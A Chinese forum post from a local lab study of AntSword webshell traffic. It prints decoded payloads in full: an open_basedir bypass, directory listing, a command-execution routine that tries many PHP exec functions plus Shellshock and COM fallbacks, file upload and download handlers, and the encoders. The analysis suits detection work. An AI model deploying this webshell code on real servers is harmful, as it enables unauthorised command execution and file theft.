[ Content contribution] 蚁剑流量与payload分析
Tofloor
poster avatar
Neko205
deepin
2024-04-01 18:17
Author

蚁剑流量与payload分析

工具:wireshark 蚁剑

分析流量共同点

部署

在本地做个虚拟机,写一个php的上传文件,上传一个webshell,蚁剑连接,wir抓取,保存,然后就可以开始分析了。

为什么不考虑使用公网的靶场,因为如果直接抓包wlan0,信息实在有点大了()

直接来看信息罢

image.png

这里是我上传文件的位置,右键追踪http流

image.png

上传完一句话木马后直接使用浏览器访问过一遍shell.php,当然虽然使用了只有两台机器的内网,但是杂乱的信息依旧非常的多,可能使用过滤器过滤掉非http的信息

image.png

分析

连接测试

先看第一个包,这个应该的连接测试用的包

ua头是Opera,我记得较早版本默认ua还是antSword,没差了,shell的信息经过了url编码,解码格式化后是这样的

// 关闭错误显示
@ini_set("display_errors", "0");
// 设置脚本执行时间无限制
@set_time_limit(0);
// 获取 open_basedir 设置,如果设置了的话
$opdir = @ini_get("open_basedir");

// 如果 open_basedir 设置存在,尝试突破
if ($opdir) {
    // 获取当前脚本的目录
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    // 将 open_basedir 字符串分割成数组
    $oparr = preg_split(base64_decode("Lzt8Oi8="),$opdir);
    // 将当前脚本目录和临时目录添加到数组末尾
    @array_push($oparr,$ocwd, sys_get_temp_dir());

    foreach ($oparr as$item) {
        if (!@is_writable($item)) {
            continue;
        }
        $tmdir =$item . "/.f758d";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//",$tmdir);
        for ($i = 0;$i < sizeof($cntarr);$i++) {
            @chdir("..");
        }
        // 设置 open_basedir 为根目录
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}

// 定义两个简单的函数,asenc 返回输入的字符串而不进行编码,asoutput 输出特定内容
function asenc($out) {
    return $out;//返回了输入?不知道有什么用
}

function asoutput() {
    $output = ob_get_contents();//获得缓冲的数据
    ob_end_clean();//end
    echo "4f72" . "eae1a";
    echo @asenc($output);
    echo "d20" . "1fcb";
}

// 开始输出缓冲
ob_start();
// 尝试执行以下操作
try {
    // 获取当前脚本的目录,并去掉文件名
    $D = dirname($_SERVER["SCRIPT_FILENAME"]/*获得路径(包含文件名)*/);
    if ($D == "") {
        $D = dirname($_SERVER["PATH_TRANSLATED"]);
    }
    // 构建一个包含目录信息、用户信息和服务器名称的字符串
    $R = "{$D}	";
    // 如果可以获取用户信息,则将其包含在字符串中
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    $R .= php_uname() . "	{$s}";
    // 输出构建的字符串
    echo $R;
} catch (Exception $e) {
    // 如果出现异常,输出错误信息
    echo "ERROR://" . $e->getMessage();
}

// 调用输出函数
asoutput();
// 结束脚本执行
die();


输出了用户名 设备名 绝对路径,以及两串不明所以的字符串,应该就是用来确定是否正常连接

4f72eae1a/www/wwwroot/192.168.56.103 / Linux neko 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 wwwd201fcb

文件查询

image.png

同样的,经过解码格式化后是这样的

@ini_set("display_errors", "0");
@set_time_limit(0);

// 获取服务器配置的 open_basedir
$opdir = @ini_get("open_basedir");

// 如果 open_basedir 存在,则执行以下操作
if ($opdir) {
    // 获取当前脚本文件的目录
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    // 使用分隔符分割 open_basedir 的路径
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);

    // 将当前目录和临时目录添加到路径数组中
    @array_push($oparr, $ocwd, sys_get_temp_dir());

    // 遍历路径数组
    foreach ($oparr as $item) {
        // 如果当前路径不可写,则跳过
        if (!@is_writable($item)) {
            continue;
        }
  
        // 创建临时目录
        $tmdir = $item . "/.e05f1";
        @mkdir($tmdir);
  
        // 如果临时目录不存在,则跳过
        if (!@file_exists($tmdir)) {
            continue;
        }
  
        // 获取临时目录的真实路径
        $tmdir = realpath($tmdir);
  
        // 在临时目录中执行操作
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
  
        // 返回上级目录,以确保可以操作
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }
  
        // 重置 open_basedir
        @ini_set("open_basedir", "/");
        // 删除临时目录
        @rmdir($tmdir);
        break;
    }
}

// 加密函数
function asenc($out) {
    return $out;
}

// 输出函数
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "36" . "285";
    echo @asenc($output);
    echo "780970" . "2e60fd";
}

ob_start();
try {
    // 解码并获取用户提交的路径
    $D = base64_decode(substr($_POST["rde01ce132e2f7"], 2));
    $F = @opendir($D);
  
    // 如果路径不存在或无权限,则返回错误信息
    if ($F == NULL) {
        echo("ERROR:// Path Not Found Or No Permission!");
    } else {
        $M = NULL; // 用于保存目录信息
        $L = NULL; // 用于保存文件信息
  
        // 遍历目录,获取文件信息
        while ($N = @readdir($F)) {
            $P = $D . $N;
            $T = @date("Y-m-d H:i:s", @filemtime($P)); // 获取文件修改时间
            @$E = substr(base_convert(@fileperms($P), 10, 8), -4); // 获取文件权限
  
            // 格式化文件信息
            $R = "    " . $T . "    " . @filesize($P) . "    " . $E . "
";
  
            // 如果是目录,则添加到目录信息中,否则添加到文件信息中
            if (@is_dir($P)) {
                $M .= $N . "/" . $R;
            } else {
                $L .= $N . $R;
            }
        }
  
        // 输出目录信息和文件信息
        echo $M . $L;
        @closedir($F);
    }
} catch (Exception $e) {
    echo "ERROR://".$e->getMessage(); // 捕获并输出异常信息
}

asoutput(); // 输出结果
die(); // 终止程序执行

主要关注这个输入 base64_decode(substr($_POST["rde01ce132e2f7"], 2));他将输入删除前两个字符后做了base64解码,并非我没看代码之前想的是直接进行base64编码,现在看起来加上这个操作可能是为了躲开类似态势感知之类设备的被动探测吧,反正不可能是躲人。

也就是按照输入CDL3d3dy93d3dyb290LzE5Mi4xNjguNTYuMTAzLw==处理后得到L3d3dy93d3dyb290LzE5Mi4xNjguNTYuMTAzLw==,base64解码得到/www/wwwroot/192.168.56.103/,读取遍格式化输出。

命令执行

代码比较长,先放出全部,在做分析

$tmp 2>&1"); // 设置环境变量
                if (fe('error_log')) {
                    error_log("a", 1); // 写入错误日志
                } else {
                    mail("[email protected]", "", "", "-bv"); 
                }
                $output = @file_get_contents($tmp); // 读取临时文件内容
                @unlink($tmp); // 删除临时文件
                if ($output !== "") {
                    print($output); // 输出结果
                    return TRUE;
                }
            } else {
                return FALSE;
            }
        }
        return FALSE;
    }

    // 函数:执行命令
    function runcmd($c) {
        $ret = 0; // 初始化返回值
        $d = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本目录
        // 根据可用函数执行命令
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c)); // 执行命令并输出结果
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("\n", $o)); // 执行命令并输出结果
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048)); // 通过管道执行命令并输出结果
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048)); // 打开进程并通过管道执行命令并输出结果
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c); // 执行命令并输出结果(自定义函数)
        } elseif (runshellshock($d, $c)) {
            return $ret; // 利用 ShellShock 漏洞执行命令并返回结果
        } elseif (substr($d, 0, 1) !== "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print($ret); // 使用 COM 对象执行命令并输出结果
        } else {
            $ret = 127; // 设置错误返回码
        }
        return $ret; // 返回结果码
    }

    // 执行命令
    $ret = @runcmd($r . " 2>&1"); // 将完整命令传入runcmd函数
    print ($ret != 0) ? "ret={$ret}" : ""; // 如果返回码不为 0,则输出错误信息
} catch (Exception $e) {
    echo "ERROR://".$e->getMessage(); // 捕获异常并输出错误信息
}

asoutput(); // 输出加密后的内容
die(); // 结束脚本执行

?>


先看数据传入罢,也就是

	$p = base64_decode(substr($_POST["q00575cd58fe4a"], 2)); // 解码命令
    $s = base64_decode(substr($_POST["xd853598a5bc66"], 2)); // 解码参数
    $envstr = @base64_decode(substr($_POST["t0ba6b93a97f8b"], 2)); // 解码环境变量
    $d = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本目录
    $c = substr($d, 0, 1) == "/" ? "-c \\\"{$s}\\\"" : "/c \\\"{$s}\\\""; // 构建命令参数

这一段

完整的发送包中确实存在这三个post参数,分别为

q00575cd58fe4a=46L2Jpbi9zaA==
xd853598a5bc66=zPY2QgIi93d3cvd3d3cm9vdC8xOTIuMTY4LjU2LjEwMyI7bHM7ZWNobyBiZDllODZkMDA2Yztwd2Q7ZWNobyBmOWMzMg==
t0ba6b93a97f8b=IS

他们的解码逻辑和前面的是一样的,删掉开头两个字符后做base64解码,也就是

L2Jpbi9zaA== >> /bin/sh

Y2QgIi93d3cvd3d3cm9vdC8xOTIuMTY4LjU2LjEwMyI7bHM7ZWNobyBiZDllODZkMDA2Yztwd2Q7ZWNobyBmOWMzMg== >> cd "/www/wwwroot/192.168.56.103";ls;echo bd9e86d006c;pwd;echo f9c32

IS >> NULL

再看

$c = substr($d, 0, 1) == "/" ? "-c \\\"{$s}\\\"" : "/c \\\"{$s}\\\""; 

substr截取了$c也就是当前目录的开头第一个字符,用于判断是否为/,如果是则执行第一个,如果不是则执行第二个,以此用于区分windows与linux系统。
那么最后拼接出来的代码就是

-c cd "/www/wwwroot/192.168.56.103";ls;echo bd9e86d006c;pwd;echo f9c32

继续跟踪代码

image.png

因为t0ba6b93a97f8b解码为空所以跳过判断,来到下一个拼接点

代码在这里使用了$p变量,他的参数在上面解码出来为/bin/sh,那么完整拼接就为

/bin/sh -c cd "/www/wwwroot/192.168.56.103";ls;echo bd9e86d006c;pwd;echo f9c32

继续跟踪

image.png

一大串判断,用于判定是否有合适的命令执行函数

其中还有利用shellshock进行命令执行的模块

image.png

如果都执行失败了,则会返回

image.png

这里返回的ret=127应该是这个

image.png

逻辑其实简单,遍历所有能做命令执行的函数,如果没有能使用的函数则退出并返回一个127,随便开一个函数,便能正常执行

image.png

文件上传下载

文件下载

getMessage();
}

// 输出缓冲并结束脚本执行
asoutput();
die();
?>

依旧是老方法的解码 将h648820bf9ca6d的输入删掉开头两个字符后base64解码,结果为 /www/wwwroot/192.168.56.103/IMG_0945(20240118-180649).JPG

$fp以只读方式存储文件,if判断是否为false如果不是,则输出文件,否则输出 ERROR:// Can Not Read这个逻辑还算比较简单。

文件上传

//...省略重复
// 开启输出缓冲
ob_start();

try {
    // 解码接收到的 POST 参数值
    $f = base64_decode(substr($_POST["y57c0b5dcac0f2"], 2));
    $c = $_POST["x69ca5454678a8"];

    // 对命令字符串进行处理,去除换行符和回车符,并进行 URL 解码
    $c = str_replace("\r", "", $c);
    $c = str_replace("\n", "", $c);
    $buf = "";
    //i以每次+2来计数
    for ($i = 0; $i < strlen($c); $i += 2) {
        //i作为开头取向前取两个字符做url解码写入$buf
        $buf .= urldecode("%" . substr($c, $i, 2));
    }

    // 将处理后的命令字符串追加到文件中,并输出追加结果(成功为 1,失败为 0)
    echo(@fwrite(fopen($f, "a"), $buf) ? "1" : "0");
} catch (Exception $e) {
    // 输出异常信息
    echo "ERROR://".$e->getMessage();
}

// 输出缓冲区内容并结束输出
asoutput();
die();

$f,用于接受文件位置,编码方式与前面并无不同,删除前面两个字符串base64解码。

​c,用于接收文件的十六进制,并没有做特殊编码,接受编码后每次循环取字符中的两个写入buf

fopen打开了​f的文件,fwrite写入了前面存于buf的信息,三元运算判断是否写入,如果写入则输出缓冲区内容结束,没有则输出异常信息

编码与解码

蚁剑中存在四种种编码器与两种解码器,都是可逆的,但也有rsa加密的编码器

base64

image.png

在这个状态下的发送包是

image.png

@ini_set("display_errors", "0"); // 禁用错误显示
@set_time_limit(0); // 设置脚本执行时间上限为无限

$opdir = @ini_get("open_basedir"); // 获取 PHP 的 open_basedir 设置值

if ($opdir) { // 如果 open_basedir 设置值存在
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本文件所在目录
    $oparr = preg_split(base64_decode("Ozt8Oi8="), $opdir); // 使用 base64 解码后的字符串进行分割

    // 将当前目录和系统临时目录添加到 oparr 数组中
    @array_push($oparr, $ocwd, sys_get_temp_dir());

    // 遍历 oparr 数组中的每个路径
    foreach ($oparr as $item) {
        if (!@is_writable($item)) { // 如果路径不可写,则继续下一个路径
            continue;
        }
        $tmdir = $item . "/.ac8dc4e3ff3"; // 创建一个临时目录路径
        @mkdir($tmdir); // 尝试创建临时目录
        if (!@file_exists($tmdir)) { // 如果临时目录不存在,则继续下一个路径
            continue;
        }
        $tmdir = realpath($tmdir); // 获取临时目录的真实路径
        @chdir($tmdir); // 切换到临时目录
        @ini_set("open_basedir", ".."); // 修改 open_basedir 设置值为上级目录
        $cntarr = @preg_split("/\\\\|\//", $tmdir); // 使用正则表达式拆分路径
        for ($i = 0; $i < sizeof($cntarr); $i++) { // 遍历路径数组
            @chdir(".."); // 切换到上级目录
        }
        @ini_set("open_basedir", "/"); // 恢复 open_basedir 设置值为根目录
        @rmdir($tmdir); // 删除临时目录
        break; // 跳出循环
    }
}

// 定义加密函数
function asenc($out) {
    return @base64_encode($out);
}

// 定义输出函数
function asoutput() {
    $output = ob_get_contents(); // 获取输出缓冲区内容
    ob_end_clean(); // 清空输出缓冲区
    echo "0ee1" . "82126"; // 输出字符串 "0ee182126"
    echo @asenc($output); // 输出输出内容的 base64 编码
    echo "5962" . "f55e"; // 输出字符串 "5962f55e"
}

ob_start(); // 启动输出缓冲区

try {
    $D = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取脚本文件所在目录
    if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]); // 如果为空,则获取 PATH_TRANSLATED 的目录
    $R = "{$D}	"; // 初始化变量 R,包含脚本文件所在目录

    // 如果脚本文件所在目录不是绝对路径,则添加盘符
    if (substr($D, 0, 1) != "/") {
        foreach (range("C", "Z") as $L) {
            if (is_dir("{$L}:")) $R .= "{$L}:";
        }
    } else {
        $R .= "/"; // 如果是绝对路径,则添加根目录符号
    }
  
    $R .= "	"; // 添加空格
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : ""; // 获取当前用户信息
    $s = ($u) ? $u["name"] : @get_current_user(); // 获取当前用户名
    $R .= php_uname(); // 获取系统信息
    $R .= "	{$s}"; // 添加当前用户名
    echo $R; // 输出 R 变量的值
} catch (Exception $e) {
    echo "ERROR://".$e->getMessage(); // 如果发生异常,输出错误消息
}

asoutput(); // 调用输出函数
die(); // 终止脚本执行

这时候asoutput函数中的随机数字就有了比较大的用处

// 定义输出函数
function asoutput() {
    $output = ob_get_contents(); // 获取输出缓冲区内容
    ob_end_clean(); // 清空输出缓冲区
    echo "0ee1" . "82126"; // 输出字符串 "0ee182126"
    echo @asenc($output); // 输出输出内容的 base64 编码
    echo "5962" . "f55e"; // 输出字符串 "5962f55e"
}

能一定程度上的混淆输出,对于人来说并不难解决,但对于不算完善的安全设备还是有迷惑性的

rsa加密

蚁的rsa将公钥写入php上传到服务器,本地使用私钥进行加密payload后发送到服务端,通过服务端的公钥进行解密


$cmd = @$_POST['ant'];
$pk = <<

木马示例

我们可以修改逻辑来尝试解密发来的数据

$cmd = @$_POST['ant'];
$pk = <<

image.png

格式化后和常规的payload并无显著不同,且返回信息依旧为明文

Screenshot_20240401_153118.png

且依旧可以通过重放截取到的发送包来获得信息。

总结

我将蚁的paylaod分为三个部分

  1. 公共部分
  2. 编码部分
  3. 载荷部分

可能不算准确,但相对好理解

蚁剑从客户端传入服务端的数据(例如需要往服务端传入路径)都会经过base64编码,且开头会加上两个字符随机字符

传出的信息如果选择了base64编码那么也会在开头和结尾加上随机字符,可能是用于躲避类似态势感知的设备

蚁剑的命令执行会遍历system,passthru,shell_exec,exec,popen,proc_open这些函数,查看是否可以使用,如果都不能使用则会常使用ShellShock 漏洞尝试执行系统命令

蚁剑的默认编码存在有base64,chr,chr16,rot13发送时可并未有特殊编码,可逆

解码器只有rot13与base64解码器,base64返回的信息在前后都会加上随机字符

蚁剑可以设置rsa加密,但只对前往服务器的信息有效,返回信息依旧是明文,将公钥写入木马通过私钥加密,服务器解秘后执行,后返回相应信息,payload并没有特殊。

上学一直没看论坛,一回来居然拿到奖品了,不过是一个月前不知道还来不来得及

😥

Reply Favorite View the author
All Replies
Neko205
deepin
2024-04-02 16:33
#1
It has been deleted!